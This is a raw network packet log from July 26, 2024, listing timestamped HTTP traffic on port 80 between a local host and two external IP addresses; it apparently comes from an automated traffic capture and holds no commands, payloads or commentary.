Jul 26, 2024 13:49:23.796643019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796653986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796664953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796675920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.796858072 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.796858072 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.797548056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797559977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797569036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797580957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797585964 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.797593117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797604084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797614098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797625065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797635078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797646046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.797660112 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.797660112 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.797661066 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.798537016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798548937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798553944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.798558950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798571110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798582077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798593044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798603058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798613071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798624039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.798629999 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.798629999 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.798629999 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.798676014 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.798676014 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.799494028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799505949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799515963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799526930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799537897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799547911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799557924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799568892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.799578905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.800082922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.800414085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.800425053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.800435066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.800446033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.800455093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.800508976 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.800508976 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.800508976 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.820986986 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.821290970 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.826440096 CEST	80	59041	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.826508045 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.826652050 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.832545996 CEST	80	59039	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.832997084 CEST	59039	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:23.834408998 CEST	80	59041	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:23.873193026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873212099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873343945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873354912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873550892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873563051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873574018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.873585939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874006033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874018908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874030113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874039888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874051094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874062061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874073029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874774933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874789000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874800920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874811888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.874821901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875058889 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.875230074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875245094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875258923 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.875258923 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.875276089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875287056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875298023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875308990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875888109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875899076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875910997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875921965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875932932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875942945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875955105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.875966072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876353979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.876353979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.876537085 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.876918077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876929998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876941919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876951933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876962900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876974106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876983881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.876995087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877010107 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.877010107 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.877010107 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.877798080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877809048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877820015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877830982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877841949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877855062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877856970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.877856970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.877856970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.877866030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877877951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.877887964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878628969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878642082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878657103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878664970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.878664970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.878664970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.878668070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878678083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878690004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878730059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878739119 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.878794909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.878794909 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.879544020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879556894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879563093 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.879566908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879579067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879590034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879601002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879611969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.879622936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880386114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880398989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880409002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880419970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880430937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880440950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880450964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880460978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880477905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880498886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.880608082 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.881052017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881064892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881076097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881086111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881097078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881107092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881117105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881129980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881140947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881639957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881652117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881660938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881671906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881681919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881691933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881702900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881714106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881725073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.881736040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:23.882266045 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.882354021 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:23.882421970 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.222567081 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.227639914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.399446964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.399559975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.399570942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.399691105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.399703026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.399709940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400197983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400208950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400475979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400496960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400646925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400659084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400669098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.400679111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401290894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401304960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401315928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401326895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401338100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401391029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401402950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401413918 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401757956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401771069 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401779890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401793003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401803970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.401814938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402509928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402524948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402537107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402546883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402558088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402568102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402579069 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402589083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.402600050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403426886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403438091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403448105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403459072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403470039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403480053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.403490067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404174089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404186010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404196024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404206991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404217005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404227972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404237986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404248953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404711008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404721975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404731989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404743910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404753923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404766083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404776096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404896021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404907942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.404913902 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405133009 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405215979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405215979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405216932 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405236959 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405262947 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405266047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405277014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405287981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405297995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405308962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405308962 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405325890 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405358076 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.405446053 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405457020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405467987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.405781984 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.406310081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.406322002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.406332016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.406342983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.406445980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.406456947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.406467915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407423019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407434940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407444954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407455921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407466888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407511950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407524109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.407533884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408024073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408035040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408046007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408056974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408067942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408077955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408088923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408144951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.408308983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.409131050 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.409905910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.409917116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.409928083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410095930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410106897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410116911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410126925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410136938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410147905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.410821915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411019087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411029100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411040068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411050081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411060095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411071062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411081076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.411092043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.412834883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.413285017 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.413726091 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.414134979 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.487077951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487133026 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.487170935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487184048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487350941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487363100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487374067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487452030 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.487452030 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.487498999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487648964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487659931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487772942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487786055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487797022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487808943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487819910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487895966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.487907887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488672972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488816023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488828897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488838911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488850117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.488859892 CEST	80	59020	85.28.47.31	192.168.2.6
